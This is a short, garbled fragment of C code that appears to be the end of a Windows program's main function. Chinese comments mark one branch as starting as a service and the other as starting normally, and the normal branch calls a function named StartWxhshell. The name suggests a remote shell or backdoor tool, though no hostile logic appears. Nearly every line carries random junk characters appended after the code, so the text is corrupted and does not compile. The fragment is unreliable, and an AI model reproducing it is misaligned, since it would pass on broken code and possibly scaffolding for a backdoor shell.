} $+ N~Fa
else `W" ;4A
if(StartFromService()) O9o]4;
// 以服务方式启动 UBj&T^j
StartServiceCtrlDispatcher(DispatchTable); #d*gWwnx"
else vceD/N8
// 普通方式启动 b62B|0i
StartWxhshell(lpCmdLine); Ctn?O~u
&l!T2PX!
return 0; olA+B
}